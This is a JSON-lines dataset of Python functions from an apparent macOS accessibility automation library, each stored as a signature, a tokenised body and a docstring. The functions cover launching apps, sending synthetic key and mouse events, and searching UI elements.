{"signature": "def loadKeyboard():", "body": "<EOL>keyboard_layout = DEFAULT_KEYBOARD<EOL>keyboard_layout.update(specialKeys)<EOL>return keyboard_layout<EOL>", "docstring": "Load a given keyboard mapping (of characters to virtual key codes).\n\n    Default is US keyboard\n    Parameters: None (relies on the internationalization settings)\n    Returns: A dictionary representing the current keyboard mapping (of\n             characters to keycodes)", "id": "f10330:m0"}
{"signature": "@classmethod<EOL><INDENT>def _getRunningApps(cls):<DEDENT>", "body": "def runLoopAndExit():<EOL><INDENT>AppHelper.stopEventLoop()<EOL><DEDENT>AppHelper.callLater(<NUM_LIT:1>, runLoopAndExit)<EOL>AppHelper.runConsoleEventLoop()<EOL>ws = AppKit.NSWorkspace.sharedWorkspace()<EOL>apps = ws.runningApplications()<EOL>return apps<EOL>", "docstring": "Get a list of the running applications.", "id": "f10331:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def getAppRefByPid(cls, pid):<DEDENT>", "body": "return _a11y.getAppRefByPid(cls, pid)<EOL>", "docstring": "Get the top level element for the application specified by pid.", "id": "f10331:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def getAppRefByBundleId(cls, bundleId):<DEDENT>", "body": "ra = AppKit.NSRunningApplication<EOL>apps = ra.runningApplicationsWithBundleIdentifier_(bundleId)<EOL>if len(apps) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(('<STR_LIT>'<EOL>'<STR_LIT>' % bundleId))<EOL><DEDENT>pid = apps[<NUM_LIT:0>].processIdentifier()<EOL>return cls.getAppRefByPid(pid)<EOL>", "docstring": "Get the top level element for the application with the specified\nbundle ID, such as com.vmware.fusion.", "id": "f10331:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def getAppRefByLocalizedName(cls, name):<DEDENT>", "body": "<EOL>apps = cls._getRunningApps()<EOL>for app in apps:<EOL><INDENT>if fnmatch.fnmatch(app.localizedName(), name):<EOL><INDENT>pid = app.processIdentifier()<EOL>return cls.getAppRefByPid(pid)<EOL><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Get the top level element for the application with the specified\n        localized name, such as VMware Fusion.\n\n        Wildcards are also allowed.", "id": "f10331:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def getFrontmostApp(cls):<DEDENT>", "body": "<EOL>apps = cls._getRunningApps()<EOL>for app in apps:<EOL><INDENT>pid = app.processIdentifier()<EOL>ref = cls.getAppRefByPid(pid)<EOL>try:<EOL><INDENT>if ref.AXFrontmost:<EOL><INDENT>return ref<EOL><DEDENT><DEDENT>except (_a11y.ErrorUnsupported,<EOL>_a11y.ErrorCannotComplete,<EOL>_a11y.ErrorAPIDisabled,<EOL>_a11y.ErrorNotImplemented):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Get the current frontmost application.\n\n        Raise a ValueError exception if no GUI applications are found.", "id": "f10331:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def getAnyAppWithWindow(cls):<DEDENT>", "body": "<EOL>apps = cls._getRunningApps()<EOL>for app in apps:<EOL><INDENT>pid = app.processIdentifier()<EOL>ref = cls.getAppRefByPid(pid)<EOL>if hasattr(ref, '<STR_LIT>') and len(ref.windows()) > <NUM_LIT:0>:<EOL><INDENT>return ref<EOL><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Get a random app that has windows.\n\n        Raise a ValueError exception if no GUI applications are found.", "id": "f10331:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def getSystemObject(cls):<DEDENT>", "body": "return _a11y.getSystemObject(cls)<EOL>", "docstring": "Get the top level system accessibility object.", "id": "f10331:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def setSystemWideTimeout(cls, timeout=<NUM_LIT:0.0>):<DEDENT>", "body": "return cls.getSystemObject().setTimeout(timeout)<EOL>", "docstring": "Set the system-wide accessibility timeout.\n\n        Optional: timeout (non-negative float; defaults to 0)\n                  A value of 0 will reset the timeout to the system default.\n        Returns: None.", "id": "f10331:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def launchAppByBundleId(bundleID):<DEDENT>", "body": "<EOL>ws = AppKit.NSWorkspace.sharedWorkspace()<EOL>r = ws.launchAppWithBundleIdentifier_options_additionalEventParamDescriptor_launchIdentifier_(<EOL>bundleID,<EOL>AppKit.NSWorkspaceLaunchAllowingClassicStartup,<EOL>AppKit.NSAppleEventDescriptor.nullDescriptor(),<EOL>None)<EOL>if not r[<NUM_LIT:0>]:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Launch the application with the specified bundle ID", "id": "f10331:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def launchAppByBundlePath(bundlePath, arguments=None):<DEDENT>", "body": "if arguments is None:<EOL><INDENT>arguments = []<EOL><DEDENT>bundleUrl = NSURL.fileURLWithPath_(bundlePath)<EOL>workspace = AppKit.NSWorkspace.sharedWorkspace()<EOL>arguments_strings = list(map(lambda a: NSString.stringWithString_(str(a)),<EOL>arguments))<EOL>arguments = NSDictionary.dictionaryWithDictionary_({<EOL>AppKit.NSWorkspaceLaunchConfigurationArguments: NSArray.arrayWithArray_(<EOL>arguments_strings)<EOL>})<EOL>return workspace.launchApplicationAtURL_options_configuration_error_(<EOL>bundleUrl,<EOL>AppKit.NSWorkspaceLaunchAllowingClassicStartup,<EOL>arguments,<EOL>None)<EOL>", "docstring": "Launch app with a given bundle path.\n\n        Return True if succeed.", "id": "f10331:c0:m9"}
{"signature": "@staticmethod<EOL><INDENT>def terminateAppByBundleId(bundleID):<DEDENT>", "body": "ra = AppKit.NSRunningApplication<EOL>if getattr(ra, \"<STR_LIT>\"):<EOL><INDENT>appList = ra.runningApplicationsWithBundleIdentifier_(bundleID)<EOL>if appList and len(appList) > <NUM_LIT:0>:<EOL><INDENT>app = appList[<NUM_LIT:0>]<EOL>return app and app.terminate() and True or False<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Terminate app with a given bundle ID.\n        Requires 10.6.\n\n        Return True if succeed.", "id": "f10331:c0:m10"}
{"signature": "def setTimeout(self, timeout=<NUM_LIT:0.0>):", "body": "self._setTimeout(timeout)<EOL>", "docstring": "Set the accessibiltiy API timeout on the given reference.\n\n        Optional: timeout (non-negative float; defaults to 0)\n                  A value of 0 will reset the timeout to the system-wide\n                  value\n        Returns: None", "id": "f10331:c0:m11"}
{"signature": "def _postQueuedEvents(self, interval=<NUM_LIT>):", "body": "while len(self.eventList) > <NUM_LIT:0>:<EOL><INDENT>(nextEvent, args) = self.eventList.popleft()<EOL>nextEvent(*args)<EOL>time.sleep(interval)<EOL><DEDENT>", "docstring": "Private method to post queued events (e.g. Quartz events).\n\n        Each event in queue is a tuple (event call, args to event call).", "id": "f10331:c0:m12"}
{"signature": "def _clearEventQueue(self):", "body": "if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.eventList.clear()<EOL><DEDENT>", "docstring": "Clear the event queue.", "id": "f10331:c0:m13"}
{"signature": "def _queueEvent(self, event, args):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.eventList = deque([(event, args)])<EOL>return<EOL><DEDENT>self.eventList.append((event, args))<EOL>", "docstring": "Private method to queue events to run.\n\n        Each event in queue is a tuple (event call, args to event call).", "id": "f10331:c0:m14"}
{"signature": "def _addKeyToQueue(self, keychr, modFlags=<NUM_LIT:0>, globally=False):", "body": "<EOL>if not keychr:<EOL><INDENT>return<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.keyboard = AXKeyboard.loadKeyboard()<EOL><DEDENT>if keychr in self.keyboard['<STR_LIT>'] and not modFlags:<EOL><INDENT>self._sendKeyWithModifiers(keychr,<EOL>[AXKeyCodeConstants.SHIFT],<EOL>globally)<EOL>return<EOL><DEDENT>if keychr.isupper() and not modFlags:<EOL><INDENT>self._sendKeyWithModifiers(<EOL>keychr.lower(),<EOL>[AXKeyCodeConstants.SHIFT],<EOL>globally<EOL>)<EOL>return<EOL><DEDENT>if keychr not in self.keyboard:<EOL><INDENT>self._clearEventQueue()<EOL>raise ValueError('<STR_LIT>' % keychr)<EOL><DEDENT>keyDown = Quartz.CGEventCreateKeyboardEvent(None,<EOL>self.keyboard[keychr],<EOL>True)<EOL>keyUp = Quartz.CGEventCreateKeyboardEvent(None,<EOL>self.keyboard[keychr],<EOL>False)<EOL>Quartz.CGEventSetFlags(keyDown, modFlags)<EOL>Quartz.CGEventSetFlags(keyUp, modFlags)<EOL>if not globally:<EOL><INDENT>macVer, _, _ = platform.mac_ver()<EOL>macVer = int(macVer.split('<STR_LIT:.>')[<NUM_LIT:1>])<EOL>if macVer > <NUM_LIT:10>:<EOL><INDENT>appPid = self._getPid()<EOL>self._queueEvent(Quartz.CGEventPostToPid, (appPid, keyDown))<EOL>self._queueEvent(Quartz.CGEventPostToPid, (appPid, keyUp))<EOL><DEDENT>else:<EOL><INDENT>appPsn = self._getPsnForPid(self._getPid())<EOL>self._queueEvent(Quartz.CGEventPostToPSN, (appPsn, keyDown))<EOL>self._queueEvent(Quartz.CGEventPostToPSN, (appPsn, keyUp))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._queueEvent(Quartz.CGEventPost, (<NUM_LIT:0>, keyDown))<EOL>self._queueEvent(Quartz.CGEventPost, (<NUM_LIT:0>, keyUp))<EOL><DEDENT>", "docstring": "Add keypress to queue.\n\n        Parameters: key character or constant referring to a non-alpha-numeric\n                    key (e.g. RETURN or TAB)\n                    modifiers\n                    global or app specific\n        Returns: None or raise ValueError exception.", "id": "f10331:c0:m15"}
{"signature": "def _sendKey(self, keychr, modFlags=<NUM_LIT:0>, globally=False):", "body": "escapedChrs = {<EOL>'<STR_LIT:\\n>': AXKeyCodeConstants.RETURN,<EOL>'<STR_LIT:\\r>': AXKeyCodeConstants.RETURN,<EOL>'<STR_LIT:\\t>': AXKeyCodeConstants.TAB,<EOL>}<EOL>if keychr in escapedChrs:<EOL><INDENT>keychr = escapedChrs[keychr]<EOL><DEDENT>self._addKeyToQueue(keychr, modFlags, globally=globally)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Send one character with no modifiers.\n\n        Parameters: key character or constant referring to a non-alpha-numeric\n                    key (e.g. RETURN or TAB)\n                    modifier flags,\n                    global or app specific\n        Returns: None or raise ValueError exception", "id": "f10331:c0:m16"}
{"signature": "def _sendKeys(self, keystr):", "body": "for nextChr in keystr:<EOL><INDENT>self._sendKey(nextChr)<EOL><DEDENT>", "docstring": "Send a series of characters with no modifiers.\n\n        Parameters: keystr\n        Returns: None or raise ValueError exception", "id": "f10331:c0:m17"}
{"signature": "def _pressModifiers(self, modifiers, pressed=True, globally=False):", "body": "if not isinstance(modifiers, list):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.keyboard = AXKeyboard.loadKeyboard()<EOL><DEDENT>modFlags = <NUM_LIT:0><EOL>for nextMod in modifiers:<EOL><INDENT>if nextMod not in self.keyboard:<EOL><INDENT>errStr = '<STR_LIT>'<EOL>self._clearEventQueue()<EOL>raise ValueError(errStr % self.keyboard[nextMod])<EOL><DEDENT>modEvent = Quartz.CGEventCreateKeyboardEvent(<EOL>Quartz.CGEventSourceCreate(<NUM_LIT:0>),<EOL>self.keyboard[nextMod],<EOL>pressed<EOL>)<EOL>if not pressed:<EOL><INDENT>Quartz.CGEventSetFlags(modEvent, <NUM_LIT:0>)<EOL><DEDENT>if globally:<EOL><INDENT>self._queueEvent(Quartz.CGEventPost, (<NUM_LIT:0>, modEvent))<EOL><DEDENT>else:<EOL><INDENT>macVer, _, _ = platform.mac_ver()<EOL>macVer = int(macVer.split('<STR_LIT:.>')[<NUM_LIT:1>])<EOL>if macVer > <NUM_LIT:10>:<EOL><INDENT>appPid = self._getPid()<EOL>self._queueEvent(Quartz.CGEventPostToPid, (appPid, modEvent))<EOL><DEDENT>else:<EOL><INDENT>appPsn = self._getPsnForPid(self._getPid())<EOL>self._queueEvent(Quartz.CGEventPostToPSN, (appPsn, modEvent))<EOL><DEDENT><DEDENT>modFlags += AXKeyboard.modKeyFlagConstants[nextMod]<EOL><DEDENT>return modFlags<EOL>", "docstring": "Press given modifiers (provided in list form).\n\n        Parameters: modifiers list, global or app specific\n        Optional: keypressed state (default is True (down))\n        Returns: Unsigned int representing flags to set", "id": "f10331:c0:m18"}
{"signature": "def _holdModifierKeys(self, modifiers):", "body": "modFlags = self._pressModifiers(modifiers)<EOL>self._postQueuedEvents()<EOL>return modFlags<EOL>", "docstring": "Hold given modifier keys (provided in list form).\n\n        Parameters: modifiers list\n        Returns: Unsigned int representing flags to set", "id": "f10331:c0:m19"}
{"signature": "def _releaseModifiers(self, modifiers, globally=False):", "body": "<EOL>modifiers.reverse()<EOL>modFlags = self._pressModifiers(modifiers, pressed=False,<EOL>globally=globally)<EOL>return modFlags<EOL>", "docstring": "Release given modifiers (provided in list form).\n\n        Parameters: modifiers list\n        Returns: None", "id": "f10331:c0:m20"}
{"signature": "def _releaseModifierKeys(self, modifiers):", "body": "modFlags = self._releaseModifiers(modifiers)<EOL>self._postQueuedEvents()<EOL>return modFlags<EOL>", "docstring": "Release given modifier keys (provided in list form).\n\n        Parameters: modifiers list\n        Returns: Unsigned int representing flags to set", "id": "f10331:c0:m21"}
{"signature": "@staticmethod<EOL><INDENT>def _isSingleCharacter(keychr):<DEDENT>", "body": "if not keychr:<EOL><INDENT>return False<EOL><DEDENT>if len(keychr) == <NUM_LIT:1>:<EOL><INDENT>return True<EOL><DEDENT>return keychr.count('<STR_LIT:<>') == <NUM_LIT:1> and keychr.count('<STR_LIT:>>') == <NUM_LIT:1> andkeychr[<NUM_LIT:0>] == '<STR_LIT:<>' and keychr[-<NUM_LIT:1>] == '<STR_LIT:>>'<EOL>", "docstring": "Check whether given keyboard character is a single character.\n\n        Parameters: key character which will be checked.\n        Returns: True when given key character is a single character.", "id": "f10331:c0:m22"}
{"signature": "def _sendKeyWithModifiers(self, keychr, modifiers, globally=False):", "body": "if not self._isSingleCharacter(keychr):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.keyboard = AXKeyboard.loadKeyboard()<EOL><DEDENT>modFlags = self._pressModifiers(modifiers, globally=globally)<EOL>self._sendKey(keychr, modFlags, globally=globally)<EOL>self._releaseModifiers(modifiers, globally=globally)<EOL>self._postQueuedEvents()<EOL>", "docstring": "Send one character with the given modifiers pressed.\n\n        Parameters: key character, list of modifiers, global or app specific\n        Returns: None or raise ValueError exception", "id": "f10331:c0:m23"}
{"signature": "def _queueMouseButton(self, coord, mouseButton, modFlags, clickCount=<NUM_LIT:1>,<EOL>dest_coord=None):", "body": "<EOL>mouseButtons = {<EOL>Quartz.kCGMouseButtonLeft: '<STR_LIT>',<EOL>Quartz.kCGMouseButtonRight: '<STR_LIT>',<EOL>}<EOL>if mouseButton not in mouseButtons:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>eventButtonDown = getattr(Quartz,<EOL>'<STR_LIT>' % mouseButtons[mouseButton])<EOL>eventButtonUp = getattr(Quartz,<EOL>'<STR_LIT>' % mouseButtons[mouseButton])<EOL>eventButtonDragged = getattr(Quartz,<EOL>'<STR_LIT>' % mouseButtons[<EOL>mouseButton])<EOL>buttonDown = Quartz.CGEventCreateMouseEvent(None,<EOL>eventButtonDown,<EOL>coord,<EOL>mouseButton)<EOL>Quartz.CGEventSetFlags(buttonDown, modFlags)<EOL>Quartz.CGEventSetIntegerValueField(buttonDown,<EOL>Quartz.kCGMouseEventClickState,<EOL>int(clickCount))<EOL>if dest_coord:<EOL><INDENT>buttonDragged = Quartz.CGEventCreateMouseEvent(None,<EOL>eventButtonDragged,<EOL>dest_coord,<EOL>mouseButton)<EOL>Quartz.CGEventSetFlags(buttonDragged, modFlags)<EOL>buttonUp = Quartz.CGEventCreateMouseEvent(None,<EOL>eventButtonUp,<EOL>dest_coord,<EOL>mouseButton)<EOL><DEDENT>else:<EOL><INDENT>buttonUp = Quartz.CGEventCreateMouseEvent(None,<EOL>eventButtonUp,<EOL>coord,<EOL>mouseButton)<EOL><DEDENT>Quartz.CGEventSetFlags(buttonUp, modFlags)<EOL>Quartz.CGEventSetIntegerValueField(buttonUp,<EOL>Quartz.kCGMouseEventClickState,<EOL>int(clickCount))<EOL>self._queueEvent(Quartz.CGEventPost,<EOL>(Quartz.kCGSessionEventTap, buttonDown))<EOL>if dest_coord:<EOL><INDENT>self._queueEvent(Quartz.CGEventPost,<EOL>(Quartz.kCGHIDEventTap, buttonDragged))<EOL><DEDENT>self._queueEvent(Quartz.CGEventPost,<EOL>(Quartz.kCGSessionEventTap, buttonUp))<EOL>", "docstring": "Private method to handle generic mouse button clicking.\n\n        Parameters: coord (x, y) to click, mouseButton (e.g.,\n                    kCGMouseButtonLeft), modFlags set (int)\n        Optional: clickCount (default 1; set to 2 for double-click; 3 for\n                  triple-click on host)\n        Returns: None", "id": "f10331:c0:m24"}
{"signature": "def _leftMouseDragged(self, stopCoord, strCoord, speed):", "body": "<EOL>appPid = self._getPid()<EOL>if strCoord == (<NUM_LIT:0>, <NUM_LIT:0>):<EOL><INDENT>loc = AppKit.NSEvent.mouseLocation()<EOL>strCoord = (loc.x, Quartz.CGDisplayPixelsHigh(<NUM_LIT:0>) - loc.y)<EOL><DEDENT>appPid = self._getPid()<EOL>pressLeftButton = Quartz.CGEventCreateMouseEvent(<EOL>None,<EOL>Quartz.kCGEventLeftMouseDown,<EOL>strCoord,<EOL>Quartz.kCGMouseButtonLeft<EOL>)<EOL>Quartz.CGEventPost(Quartz.CoreGraphics.kCGHIDEventTap, pressLeftButton)<EOL>time.sleep(<NUM_LIT:5>)<EOL>speed = round(<NUM_LIT:1> / float(speed), <NUM_LIT:2>)<EOL>xmoved = stopCoord[<NUM_LIT:0>] - strCoord[<NUM_LIT:0>]<EOL>ymoved = stopCoord[<NUM_LIT:1>] - strCoord[<NUM_LIT:1>]<EOL>if ymoved == <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>k = abs(ymoved / xmoved)<EOL><DEDENT>if xmoved != <NUM_LIT:0>:<EOL><INDENT>for xpos in range(int(abs(xmoved))):<EOL><INDENT>if xmoved > <NUM_LIT:0> and ymoved > <NUM_LIT:0>:<EOL><INDENT>currcoord = (strCoord[<NUM_LIT:0>] + xpos, strCoord[<NUM_LIT:1>] + xpos * k)<EOL><DEDENT>elif xmoved > <NUM_LIT:0> and ymoved < <NUM_LIT:0>:<EOL><INDENT>currcoord = (strCoord[<NUM_LIT:0>] + xpos, strCoord[<NUM_LIT:1>] - xpos * k)<EOL><DEDENT>elif xmoved < <NUM_LIT:0> and ymoved < <NUM_LIT:0>:<EOL><INDENT>currcoord = (strCoord[<NUM_LIT:0>] - xpos, strCoord[<NUM_LIT:1>] - xpos * k)<EOL><DEDENT>elif xmoved < <NUM_LIT:0> and ymoved > <NUM_LIT:0>:<EOL><INDENT>currcoord = (strCoord[<NUM_LIT:0>] - xpos, strCoord[<NUM_LIT:1>] + xpos * k)<EOL><DEDENT>dragLeftButton = Quartz.CGEventCreateMouseEvent(<EOL>None,<EOL>Quartz.kCGEventLeftMouseDragged,<EOL>currcoord,<EOL>Quartz.kCGMouseButtonLeft<EOL>)<EOL>Quartz.CGEventPost(Quartz.CoreGraphics.kCGHIDEventTap,<EOL>dragLeftButton)<EOL>time.sleep(speed)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>upLeftButton = Quartz.CGEventCreateMouseEvent(<EOL>None,<EOL>Quartz.kCGEventLeftMouseUp,<EOL>stopCoord,<EOL>Quartz.kCGMouseButtonLeft<EOL>)<EOL>time.sleep(<NUM_LIT:5>)<EOL>Quartz.CGEventPost(Quartz.CoreGraphics.kCGHIDEventTap, upLeftButton)<EOL>", "docstring": "Private method to handle generic mouse left button dragging and\n        dropping.\n\n        Parameters: stopCoord(x,y) drop point\n        Optional: strCoord (x, y) drag point, default (0,0) get current\n                  mouse position\n                  speed (int) 1 to unlimit, simulate mouse moving\n                  action from some special requirement\n        Returns: None", "id": "f10331:c0:m25"}
{"signature": "def _waitFor(self, timeout, notification, **kwargs):", "body": "callback = self._matchOther<EOL>retelem = None<EOL>callbackArgs = None<EOL>callbackKwargs = None<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>callback = kwargs['<STR_LIT>']<EOL>del kwargs['<STR_LIT>']<EOL>if '<STR_LIT:args>' in kwargs:<EOL><INDENT>if not isinstance(kwargs['<STR_LIT:args>'], tuple):<EOL><INDENT>errStr = '<STR_LIT>'<EOL>raise TypeError(errStr)<EOL><DEDENT>callbackArgs = kwargs['<STR_LIT:args>']<EOL>del kwargs['<STR_LIT:args>']<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>if not isinstance(kwargs['<STR_LIT>'], dict):<EOL><INDENT>errStr = '<STR_LIT>'<EOL>raise TypeError(errStr)<EOL><DEDENT>callbackKwargs = kwargs['<STR_LIT>']<EOL>del kwargs['<STR_LIT>']<EOL><DEDENT>if kwargs:<EOL><INDENT>if callbackKwargs:<EOL><INDENT>callbackKwargs.update(kwargs)<EOL><DEDENT>else:<EOL><INDENT>callbackKwargs = kwargs<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>callbackArgs = (retelem,)<EOL>callbackKwargs = kwargs<EOL><DEDENT>return self._setNotification(timeout, notification, callback,<EOL>callbackArgs,<EOL>callbackKwargs)<EOL>", "docstring": "Wait for a particular UI event to occur; this can be built\n        upon in NativeUIElement for specific convenience methods.", "id": "f10331:c0:m26"}
{"signature": "def waitForFocusToMatchCriteria(self, timeout=<NUM_LIT:10>, **kwargs):", "body": "def _matchFocused(retelem, **kwargs):<EOL><INDENT>return retelem if retelem._match(**kwargs) else None<EOL><DEDENT>retelem = None<EOL>return self._waitFor(timeout, '<STR_LIT>',<EOL>callback=_matchFocused,<EOL>args=(retelem,),<EOL>**kwargs)<EOL>", "docstring": "Convenience method to wait for focused element to change\n        (to element matching kwargs criteria).\n\n        Returns: Element or None", "id": "f10331:c0:m27"}
{"signature": "def _getActions(self):", "body": "actions = _a11y.AXUIElement._getActions(self)<EOL>return [action[<NUM_LIT:2>:] for action in actions]<EOL>", "docstring": "Retrieve a list of actions supported by the object.", "id": "f10331:c0:m28"}
{"signature": "def _performAction(self, action):", "body": "try:<EOL><INDENT>_a11y.AXUIElement._performAction(self, '<STR_LIT>' % action)<EOL><DEDENT>except _a11y.ErrorUnsupported as e:<EOL><INDENT>sierra_ver = '<STR_LIT>'<EOL>if mac_ver()[<NUM_LIT:0>] < sierra_ver:<EOL><INDENT>raise e<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Perform the specified action.", "id": "f10331:c0:m29"}
{"signature": "def _generateChildren(self):", "body": "try:<EOL><INDENT>children = self.AXChildren<EOL><DEDENT>except _a11y.Error:<EOL><INDENT>return<EOL><DEDENT>if children:<EOL><INDENT>for child in children:<EOL><INDENT>yield child<EOL><DEDENT><DEDENT>", "docstring": "Generator which yields all AXChildren of the object.", "id": "f10331:c0:m30"}
{"signature": "def _generateChildrenR(self, target=None):", "body": "if target is None:<EOL><INDENT>target = self<EOL><DEDENT>try:<EOL><INDENT>children = target.AXChildren<EOL><DEDENT>except _a11y.Error:<EOL><INDENT>return<EOL><DEDENT>if children:<EOL><INDENT>for child in children:<EOL><INDENT>yield child<EOL>for c in self._generateChildrenR(child):<EOL><INDENT>yield c<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Generator which recursively yields all AXChildren of the object.", "id": "f10331:c0:m31"}
{"signature": "def _match(self, **kwargs):", "body": "for k in kwargs.keys():<EOL><INDENT>try:<EOL><INDENT>val = getattr(self, k)<EOL><DEDENT>except _a11y.Error:<EOL><INDENT>return False<EOL><DEDENT>if sys.version_info[:<NUM_LIT:2>] <= (<NUM_LIT:2>, <NUM_LIT:6>):<EOL><INDENT>if isinstance(val, basestring):<EOL><INDENT>if not fnmatch.fnmatch(unicode(val), kwargs[k]):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if val != kwargs[k]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>elif sys.version_info[<NUM_LIT:0>] == <NUM_LIT:3>:<EOL><INDENT>if isinstance(val, str):<EOL><INDENT>if not fnmatch.fnmatch(val, str(kwargs[k])):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if val != kwargs[k]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if isinstance(val, str) or isinstance(val, unicode):<EOL><INDENT>if not fnmatch.fnmatch(val, kwargs[k]):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if val != kwargs[k]:<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Method which indicates if the object matches specified criteria.\n\n        Match accepts criteria as kwargs and looks them up on attributes.\n        Actual matching is performed with fnmatch, so shell-like wildcards\n        work within match strings. Examples:\n\n        obj._match(AXTitle='Terminal*')\n        obj._match(AXRole='TextField', AXRoleDescription='search text field')", "id": "f10331:c0:m32"}
{"signature": "def _matchOther(self, obj, **kwargs):", "body": "if obj is not None:<EOL><INDENT>if self._findFirstR(**kwargs):<EOL><INDENT>return obj._match(**kwargs)<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Perform _match but on another object, not self.", "id": "f10331:c0:m33"}
{"signature": "def _generateFind(self, **kwargs):", "body": "for needle in self._generateChildren():<EOL><INDENT>if needle._match(**kwargs):<EOL><INDENT>yield needle<EOL><DEDENT><DEDENT>", "docstring": "Generator which yields matches on AXChildren.", "id": "f10331:c0:m34"}
{"signature": "def _generateFindR(self, **kwargs):", "body": "for needle in self._generateChildrenR():<EOL><INDENT>if needle._match(**kwargs):<EOL><INDENT>yield needle<EOL><DEDENT><DEDENT>", "docstring": "Generator which yields matches on AXChildren and their children.", "id": "f10331:c0:m35"}
{"signature": "def _findAll(self, **kwargs):", "body": "result = []<EOL>for item in self._generateFind(**kwargs):<EOL><INDENT>result.append(item)<EOL><DEDENT>return result<EOL>", "docstring": "Return a list of all children that match the specified criteria.", "id": "f10331:c0:m36"}
{"signature": "def _findAllR(self, **kwargs):", "body": "result = []<EOL>for item in self._generateFindR(**kwargs):<EOL><INDENT>result.append(item)<EOL><DEDENT>return result<EOL>", "docstring": "Return a list of all children (recursively) that match the specified\n        criteria.", "id": "f10331:c0:m37"}
{"signature": "def _findFirst(self, **kwargs):", "body": "for item in self._generateFind(**kwargs):<EOL><INDENT>return item<EOL><DEDENT>", "docstring": "Return the first object that matches the criteria.", "id": "f10331:c0:m38"}
{"signature": "def _findFirstR(self, **kwargs):", "body": "for item in self._generateFindR(**kwargs):<EOL><INDENT>return item<EOL><DEDENT>", "docstring": "Search recursively for the first object that matches the criteria.", "id": "f10331:c0:m39"}
{"signature": "def _getApplication(self):", "body": "app = self<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>app = app.AXParent<EOL><DEDENT>except _a11y.ErrorUnsupported:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return app<EOL>", "docstring": "Get the base application UIElement.\n\n        If the UIElement is a child of the application, it will try\n        to get the AXParent until it reaches the top application level\n        element.", "id": "f10331:c0:m40"}
{"signature": "def _menuItem(self, menuitem, *args):", "body": "self._activate()<EOL>for item in args:<EOL><INDENT>if menuitem.AXChildren[<NUM_LIT:0>].AXRole == '<STR_LIT>':<EOL><INDENT>menuitem = menuitem.AXChildren[<NUM_LIT:0>]<EOL><DEDENT>role = '<STR_LIT>'<EOL>try:<EOL><INDENT>menuitem = menuitem.AXChildren[int(item)]<EOL><DEDENT>except ValueError:<EOL><INDENT>menuitem = menuitem.findFirst(AXRole='<STR_LIT>',<EOL>AXTitle=item)<EOL><DEDENT><DEDENT>return menuitem<EOL>", "docstring": "Return the specified menu item.\n\n        Example - refer to items by name:\n\n        app._menuItem(app.AXMenuBar, 'File', 'New').Press()\n        app._menuItem(app.AXMenuBar, 'Edit', 'Insert', 'Line Break').Press()\n\n        Refer to items by index:\n\n        app._menuitem(app.AXMenuBar, 1, 0).Press()\n\n        Refer to items by mix-n-match:\n\n        app._menuitem(app.AXMenuBar, 1, 'About TextEdit').Press()", "id": "f10331:c0:m41"}
{"signature": "def _activate(self):", "body": "ra = AppKit.NSRunningApplication<EOL>app = ra.runningApplicationWithProcessIdentifier_(<EOL>self._getPid())<EOL>app.activateWithOptions_(<NUM_LIT:3>)<EOL>", "docstring": "Activate the application (bringing menus and windows forward).", "id": "f10331:c0:m42"}
{"signature": "def _getBundleId(self):", "body": "ra = AppKit.NSRunningApplication<EOL>app = ra.runningApplicationWithProcessIdentifier_(<EOL>self._getPid())<EOL>return app.bundleIdentifier()<EOL>", "docstring": "Return the bundle ID of the application.", "id": "f10331:c0:m43"}
{"signature": "def _getLocalizedName(self):", "body": "return self._getApplication().AXTitle<EOL>", "docstring": "Return the localized name of the application.", "id": "f10331:c0:m44"}
